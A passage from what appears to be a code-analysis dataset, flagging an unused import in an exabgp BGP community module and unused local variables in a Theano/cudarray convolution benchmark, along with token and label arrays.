}, { "span": "from exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficAction", "start_line": 25, "start_column": 0, "end_line": 25, "end_column": 88 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficRedirect", "start_line": 26, "start_column": 0, "end_line": 26, "end_column": 90 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficMark", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 86 }, { "span": "from exabgp.bgp.message.update.attribute.community.extended.traffic import TrafficNextHop", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 89 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "encoding", ":", " ", "utf", "-", "8_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "communi", "ty", ".", "py", "\\", "10", ";", "\\", "10", ";", "Creat", "ed", " ", "by", " ", "Tho", "mas", " ", "Mang", "in", " ", "on", " ", "200", "9", "-1", "1", "-0", "5", ".", "\\", "10", ";", "Copy", "right", " ", "(", "c", ")", " ", "200", "9", "-", "201", "5", " ", "Exa", " ", "Network", "s", ".", " ", "All", " ", "rights", " ", "reserve", "d", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Every", " ", "Extend", "ed", " ", "Communi", "ty", " ", "shou", "ld", " ", "be", " ", "import", "ed", " ", "from", " ", "this", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "it", " ", "make", "s", " ", "sure", " ", "tha", "t", " ", "all", " ", "the", " ", "register", "ing", " ", "decorat", "or", " ", "are", " ", "run_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "community_", "import_", "Extend", "ed", "Communi", "ty_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "communi", "ties_", "import_", "Extend", "ed", "Communi", "ties_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "encapsulat", "ion_", "import_", "Enca", "psu", "lation", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "l2", "info_", "import_", "L", "2", "Info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "origin_", "import_", "Origin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "origin_", "import_", "Orig", "in", "AS", "NI", "P_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "origin_", "import_", "Orig", "in", "IPA", "SN", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "origin_", "import_", "Orig", "in", "AS", "N", "4", "Number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "rt_", "import_", "Route", "Target_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "rt_", "import_", "Route", "Target", "AS", "N", "2", "Number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "rt_", "import_", "Route", "Target", "IP", "Number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "rt_", "import_", "Route", "Target", "AS", "N", "4", "Number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "traffic", "_", "import_", "Tra", "ffic", "Rate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "traffic", "_", "import_", "Tra", "ffic", "Action_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "traffic", "_", "import_", "Tra", "ffic", "Redirect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "traffic", "_", "import_", "Tra", "ffic", "Mark_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "exa", "bgp", "_", "._", "bgp", "_", "._", "message_", "._", "update_", "._", "attribute_", "._", "community_", "._", "extended_", "._", "traffic", "_", "import_", "Tra", "ffic", "Ne", "xt", "Hop", "_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1,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def benchmark(n_imgs, n_channels, img_shape, n_filters, filter_shape, pad):\n print('\\nn_imgs: %i, n_channels: %i, img_shape: (%i, %i), '\n % ((n_imgs, n_channels) + img_shape)\n + 'n_filters: %i, filter_shape: (%i, %i), pad: %i'\n % ((n_filters,) + filter_shape + (pad,)))\n\n # Setup arrays\n padding = (pad, pad)\n strides = (1, 1)\n img_h, img_w = img_shape\n filter_h, filter_w = filter_shape\n convout_h = img_h + 2*pad - filter_h + 1\n convout_w = img_w + 2*pad - filter_w + 1\n\n imgs_bc01_shape = (n_imgs, n_channels, img_h, img_w)\n filters_bc01_shape = (n_filters, n_channels, filter_h, filter_w)\n\n imgs_bc01 = np.random.randn(n_imgs, n_channels, img_h, img_w)\n imgs_c01b = np.transpose(imgs_bc01, (1, 2, 3, 0))\n filters_fc01 = np.random.randn(n_filters, n_channels, filter_h, filter_w)\n filters_c01f = np.transpose(filters_fc01, (1, 2, 3, 0))\n convout_bc01 = np.random.randn(n_imgs, n_filters, convout_h, convout_w)\n convout_c01b = np.transpose(convout_bc01, (1, 2, 3, 0))\n\n imgs_bc01_t = theano.shared(imgs_bc01.astype(theano.config.floatX))\n imgs_c01b_t = theano.shared(imgs_c01b.astype(theano.config.floatX))\n filters_fc01_t = theano.shared(filters_fc01.astype(theano.config.floatX))\n filters_c01f_t = theano.shared(filters_c01f.astype(theano.config.floatX))\n convout_bc01_t = theano.shared(convout_bc01.astype(theano.config.floatX))\n convout_c01b_t = theano.shared(convout_c01b.astype(theano.config.floatX))\n imgs_bc01_ca = ca.array(imgs_bc01)\n filters_fc01_ca = ca.array(filters_fc01)\n convout_bc01_ca = ca.array(convout_bc01)\n\n # Forward propagation\n print('fprop')\n convout_cc_op = FilterActs(stride=1, partial_sum=4, pad=pad)\n convout_cc_expr = convout_cc_op(imgs_c01b_t, filters_c01f_t)\n convout_cc_fun = theano.function([], convout_cc_expr)\n convout_cc = convout_cc_fun()\n convout_cc = np.transpose(convout_cc, (3, 0, 1, 2))\n\n def convout_ca_fun():\n convout = ca.nnet.conv_bc01(imgs_bc01_ca, filters_fc01_ca, padding,\n strides)\n return convout\n convout_ca = np.array(convout_ca_fun())\n print(' correct: ' + str(allclose(convout_ca, convout_cc)))\n duration_cc = avg_running_time(convout_cc_fun)\n duration_ca = avg_running_time(convout_ca_fun)\n print(' avg. duration: cuda_convnet: %.4f ca: %.4f'\n % (duration_cc, duration_ca))\n print(' speedup: %.2f' % (duration_cc/duration_ca))\n del convout_cc_op\n del convout_cc_expr\n del convout_cc_fun\n\n# Back propagation, imgs\n print('bprop_imgs')\n dimgs_cc_op = ImageActs(stride=1, partial_sum=1, pad=pad)\n dimgs_cc_expr = dimgs_cc_op(convout_c01b_t, filters_c01f_t)\n dimgs_cc_fun = theano.function([], dimgs_cc_expr)\n dimgs_cc = dimgs_cc_fun()\n dimgs_cc = np.transpose(dimgs_cc, (3, 0, 1, 2))\n\n def dimgs_ca_fun():\n return ca.nnet.conv_bc01_bprop_imgs(filters_fc01_ca, convout_bc01_ca,\n img_shape, padding, strides)\n dimgs_ca = np.array(dimgs_ca_fun())\n print(' correct: ' + str(allclose(dimgs_ca, dimgs_cc)))\n duration_cc = avg_running_time(dimgs_cc_fun)\n duration_ca = avg_running_time(dimgs_ca_fun)\n print(' avg. duration: cuda_convnet: %.4f ca: %.4f'\n % (duration_cc, duration_ca))\n print(' speedup: %.2f' % (duration_cc/duration_ca))\n del dimgs_cc_op\n del dimgs_cc_expr\n del dimgs_cc_fun\n\n # Back propagation, filters\n dfilters_cc_op = WeightActs(stride=1, partial_sum=1, pad=pad)\n dfilters_cc_expr = dfilters_cc_op(imgs_c01b_t, convout_c01b_t,\n T.as_tensor_variable(filter_shape))\n dfilters_cc_fun = theano.function([], dfilters_cc_expr)\n dfilters_cc = dfilters_cc_fun()[0]\n dfilters_cc = np.transpose(dfilters_cc, (3, 0, 1, 2))\n\n def dfilters_ca_fun():\n return ca.nnet.conv_bc01_bprop_filters(imgs_bc01_ca, convout_bc01_ca,\n filter_shape, padding, strides)\n dfilters_ca = np.array(dfilters_ca_fun())\n\n print('bprop_filters')\n print(' correct: ' + str(allclose(dfilters_ca, dfilters_cc)))\n duration_cc = avg_running_time(dfilters_cc_fun)\n duration_ca = avg_running_time(dfilters_ca_fun)\n print(' avg. duration: cuda_convnet: %.4f ca: %.4f'\n % (duration_cc, duration_ca))\n print(' speedup: %.2f' % (duration_cc/duration_ca))", "metadata": "root.benchmark", "header": "['module', '___EOS___']", "index": 31 } ]
[ { "span": "imgs_bc01_shape ", "start_line": 45, "start_column": 4, "end_line": 45, "end_column": 19 }, { "span": "filters_bc01_shape ", "start_line": 46, "start_column": 4, "end_line": 46, "end_column": 22 }, { "span": "imgs_bc01_t ", "start_line": 55, "start_column": 4, "end_line": 55, "end_column": 15 }, { "span": "filters_fc01_t ", "start_line": 57, "start_column": 4, "end_line": 57, "end_column": 18 }, { "span": "convout_bc01_t ", "start_line": 59, "start_column": 4, "end_line": 59, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "benchmark_", "(_", "n", "\\u", "imgs_", ",_", "n", "\\u", "channels_", ",_", "img", "\\u", "shape_", ",_", "n", "\\u", "filters_", ",_", "filter", "\\u", "shape_", ",_", "pad_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "'\\\\", "nn", "\\u", "imgs", ":", " ", "%", "i", ",", " ", "n", "\\u", "channel", "s", ":", " ", "%", "i", ",", " ", "img", "\\u", "shape", ":", " ", "(%", "i", ",", " ", "%", "i", "),", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "(_", "(_", "n", "\\u", "imgs_", ",_", "n", "\\u", "channels_", ")_", "+_", "img", "\\u", "shape_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "'", "n", "\\u", "filter", "s", ":", " ", "%", "i", ",", " ", "filter", "\\u", "shape", ":", " ", "(%", "i", ",", " ", "%", "i", "),", " ", "pad", ":", " ", "%", "i", "'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "(_", "(_", "n", "\\u", "filters_", ",_", ")_", "+_", "filter", "\\u", "shape_", "+_", "(_", "pad_", ",_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Set", "up", " ", "arrays_", "\\u\\u\\uNL\\u\\u\\u_", "padding_", "=_", "(_", "pad_", ",_", "pad_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "strides_", "=_", "(_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "img", "\\u", "h_", ",_", "img", "\\u", "w_", "=_", "img", "\\u", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "\\u", "h_", ",_", "filter", "\\u", "w_", "=_", "filter", "\\u", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "h_", "=_", "img", "\\u", "h_", "+_", "2_", "*_", "pad_", "-_", "filter", "\\u", "h_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "w_", "=_", "img", "\\u", "w_", "+_", "2_", "*_", "pad_", "-_", "filter", "\\u", "w_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "imgs", "\\u", "bc", "01", "\\u", "shape_", "=_", "(_", "n", "\\u", "imgs_", ",_", "n", "\\u", "channels_", ",_", "img", "\\u", "h_", ",_", "img", "\\u", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "s", "\\u", "bc", "01", "\\u", "shape_", "=_", "(_", "n", "\\u", "filters_", ",_", "n", "\\u", "channels_", ",_", "filter", "\\u", "h_", ",_", "filter", "\\u", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "imgs", "\\u", "bc", "01_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "n", "\\u", "imgs_", ",_", "n", "\\u", "channels_", ",_", "img", "\\u", "h_", ",_", "img", "\\u", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imgs", "\\u", "c0", "1b", "_", "=_", "np_", "._", "transpose_", "(_", "imgs", "\\u", "bc", "01_", ",_", "(_", "1_", ",_", "2_", ",_", "3_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "s", "\\u", "fc", "01_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "n", "\\u", "filters_", ",_", "n", "\\u", "channels_", ",_", "filter", "\\u", "h_", ",_", "filter", "\\u", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "s", "\\u", "c0", "1f", "_", "=_", "np_", "._", "transpose_", "(_", "filter", "s", "\\u", "fc", "01_", ",_", "(_", "1_", ",_", "2_", ",_", "3_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "bc", "01_", "=_", "np_", "._", "random_", "._", "randn_", "(_", "n", "\\u", "imgs_", ",_", "n", "\\u", "filters_", ",_", "conv", "out", "\\u", "h_", ",_", "conv", "out", "\\u", "w_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "c0", "1b", "_", "=_", "np_", "._", "transpose_", "(_", "conv", "out", "\\u", "bc", "01_", ",_", "(_", "1_", ",_", "2_", ",_", "3_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "imgs", "\\u", "bc", "01", "\\u", "t_", "=_", "theano_", "._", "shared_", "(_", "imgs", "\\u", "bc", "01_", "._", "astype_", "(_", "theano_", "._", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imgs", "\\u", "c0", "1b", "\\u", "t_", "=_", "theano_", "._", "shared_", "(_", "imgs", "\\u", "c0", "1b", "_", "._", "astype_", "(_", "theano_", "._", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "s", "\\u", "fc", "01", "\\u", "t_", "=_", "theano_", "._", "shared_", "(_", "filter", "s", "\\u", "fc", "01_", "._", "astype_", "(_", "theano_", "._", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "s", "\\u", "c0", "1f", "\\u", "t_", "=_", "theano_", "._", "shared_", "(_", "filter", "s", "\\u", "c0", "1f", "_", "._", "astype_", "(_", "theano_", "._", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "bc", "01", "\\u", "t_", "=_", "theano_", "._", "shared_", "(_", "conv", "out", "\\u", "bc", "01_", "._", "astype_", "(_", "theano_", "._", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "c0", "1b", "\\u", "t_", "=_", "theano_", "._", "shared_", "(_", "conv", "out", "\\u", "c0", "1b", "_", "._", "astype_", "(_", "theano_", "._", "config_", "._", "float", "X_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "imgs", "\\u", "bc", "01", "\\u", "ca_", "=_", "ca_", "._", "array_", "(_", "imgs", "\\u", "bc", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "filter", "s", "\\u", "fc", "01", "\\u", "ca_", "=_", "ca_", "._", "array_", "(_", "filter", "s", "\\u", "fc", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "bc", "01", "\\u", "ca_", "=_", "ca_", "._", "array_", "(_", "conv", "out", "\\u", "bc", "01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Forward", " ", "propagat", "ion_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "fpro", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "cc", "\\u", "op_", "=_", "Filter", "Act", "s_", "(_", "stride_", "=_", "1_", ",_", "partial", "\\u", "sum_", "=_", "4_", ",_", "pad_", "=_", "pad_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "cc", "\\u", "expr_", "=_", "conv", "out", "\\u", "cc", "\\u", "op_", "(_", "imgs", "\\u", "c0", "1b", "\\u", "t_", ",_", "filter", "s", "\\u", "c0", "1f", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "cc", "\\u", "fun_", "=_", "theano_", "._", "function_", "(_", "[_", "]_", ",_", "conv", "out", "\\u", "cc", "\\u", "expr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "cc_", "=_", "conv", "out", "\\u", "cc", "\\u", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conv", "out", "\\u", "cc_", "=_", "np_", "._", "transpose_", "(_", "conv", "out", "\\u", "cc_", ",_", "(_", "3_", ",_", "0_", ",_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "conv", "out", "\\u", "ca", "\\u", "fun_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conv", "out_", "=_", "ca_", "._", "nnet", "_", "._", "conv", "\\u", "bc", "01_", "(_", "imgs", "\\u", "bc", "01", "\\u", "ca_", ",_", "filter", "s", "\\u", "fc", "01", "\\u", "ca_", ",_", "padding_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "strides_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "conv", "out_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "conv", "out", "\\u", "ca_", "=_", "np_", "._", "array_", "(_", "conv", "out", "\\u", "ca", "\\u", "fun_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", " ", " ", "correct", ":", " ", "'_", "+_", "str_", "(_", "allclose_", "(_", "conv", "out", "\\u", "ca_", ",_", "conv", "out", "\\u", "cc_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "cc_", "=_", "avg", "\\u", "runn", "ing", "\\u", "time_", "(_", "conv", "out", "\\u", "cc", "\\u", "fun_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "ca_", "=_", "avg", "\\u", "runn", "ing", "\\u", "time_", "(_", "conv", "out", "\\u", "ca", "\\u", "fun_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", "avg", ".", " ", "duration", ":", " ", "cud", "a", "\\u", "conv", "net", ":", " ", "%", ".4", "f", " ", " ", "ca", ":", " ", "%", ".4", "f", "'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "(_", "duration", "\\u", "cc_", ",_", "duration", "\\u", "ca_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", " ", " ", "speed", "up", ":", " ", "%", ".2", "f", "'_", "%_", "(_", "duration", "\\u", "cc_", "/_", "duration", "\\u", "ca_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "conv", "out", "\\u", "cc", "\\u", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "conv", "out", "\\u", "cc", "\\u", "expr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "conv", "out", "\\u", "cc", "\\u", "fun_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Back", " ", "propagat", "ion", ",", " ", "imgs_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'", "bpr", "op", "\\u", "imgs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dim", "gs", "\\u", "cc", "\\u", "op_", "=_", "Image", "Act", "s_", "(_", "stride_", "=_", "1_", ",_", "partial", "\\u", "sum_", "=_", "1_", ",_", "pad_", "=_", "pad_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dim", "gs", "\\u", "cc", "\\u", "expr_", "=_", "dim", "gs", "\\u", "cc", "\\u", "op_", "(_", "conv", "out", "\\u", "c0", "1b", "\\u", "t_", ",_", "filter", "s", "\\u", "c0", "1f", "\\u", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dim", "gs", "\\u", "cc", "\\u", "fun_", "=_", "theano_", "._", "function_", "(_", "[_", "]_", ",_", "dim", "gs", "\\u", "cc", "\\u", "expr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dim", "gs", "\\u", "cc_", "=_", "dim", "gs", "\\u", "cc", "\\u", "fun_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dim", "gs", "\\u", "cc_", "=_", "np_", "._", "transpose_", "(_", "dim", "gs", "\\u", "cc_", ",_", "(_", "3_", ",_", "0_", ",_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "dim", "gs", "\\u", "ca", "\\u", "fun_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ca_", "._", "nnet", "_", "._", "conv", "\\u", "bc", "01", "\\u", "bpr", "op", "\\u", "imgs_", "(_", "filter", "s", "\\u", "fc", "01", "\\u", "ca_", ",_", "conv", "out", "\\u", "bc", "01", "\\u", "ca_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "img", "\\u", "shape_", ",_", "padding_", ",_", "strides_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dim", "gs", "\\u", "ca_", "=_", "np_", "._", "array_", "(_", "dim", "gs", "\\u", "ca", "\\u", "fun_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", " ", " ", "correct", ":", " ", "'_", "+_", "str_", "(_", "allclose_", "(_", "dim", "gs", "\\u", "ca_", ",_", "dim", "gs", "\\u", "cc_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "cc_", "=_", "avg", "\\u", "runn", "ing", "\\u", "time_", "(_", "dim", "gs", "\\u", "cc", "\\u", "fun_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "duration", "\\u", "ca_", "=_", "avg", "\\u", "runn", "ing", "\\u", "time_", "(_", "dim", "gs", "\\u", "ca", "\\u", "fun_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", "avg", ".", " ", "duration", ":", " ", "cud", "a", "\\u", "conv", "net", ":", " ", "%", ".4", "f", " ", " ", "ca", ":", " ", "%", ".4", "f", "'_", "\\u\\u\\uNL\\u\\u\\u_", "%_", "(_", "duration", "\\u", "cc_", ",_", "duration", "\\u", "ca_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'", " ", " ", " ", " ", " ", "speed", "up", ":", " ", "%", ".2", "f", "'_", "%_", "(_", "duration", "\\u", "cc_", "/_", "duration", "\\u", "ca_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "dim", "gs", "\\u", "cc", "\\u", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "dim", "gs", "\\u", "cc", "\\u", "expr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "dim", "gs", "\\u", "cc", "\\u", "fun_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Back", " ", "propagat", "ion", ",", " ", "filters_", "\\u\\u\\uNL\\u\\u\\u_", "dfi", "lter", "s", "\\u", "cc", "\\u", "op_", "=_", "Weig", "ht", "Act", "s_", "(_", "stride_", "=_", "1_", ",_", "partial", "\\u", "sum_", "=_", "1_", ",_", "pad_", "=_", "pad_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dfi", "lter", "s", "\\u", "cc", "\\u", "expr_", "=_", "dfi", "lter", "s", "\\u", "cc", "\\u", "op_", "(_", "imgs", "\\u", "c0", "1b", "\\u", "t_", ",_", "conv", "out", "\\u", "c0", "1b", "\\u", "t_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "T_", "._", "as", "\\u", "tensor", "\\u", "variable_", "(_", "filter", "\\u", "shape_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dfi", "lter", "s", "\\u", "cc", "\\u", "fun_", "=_", "theano_", "._", "function_", "(_", "[_", "]_", ",_", "dfi", "lter", "s", "\\u", "cc", "\\u", "expr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dfi", "lter", "s", "\\u", "cc_", "=_", "dfi", "lter", "s", "\\u", "cc", "\\u", "fun_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dfi", "lter", "s", "\\u", "cc_", "=_", "np_", "._", "transpose_", "(_", "dfi", "lter", "s", "\\u", "cc_", ",_", "(_", "3_", ",_", "0_", ",_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "dfi", "lter", "s", "\\u", "ca", "\\u", "fun_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "ca_", "._", "nnet", "_", "._", "conv", 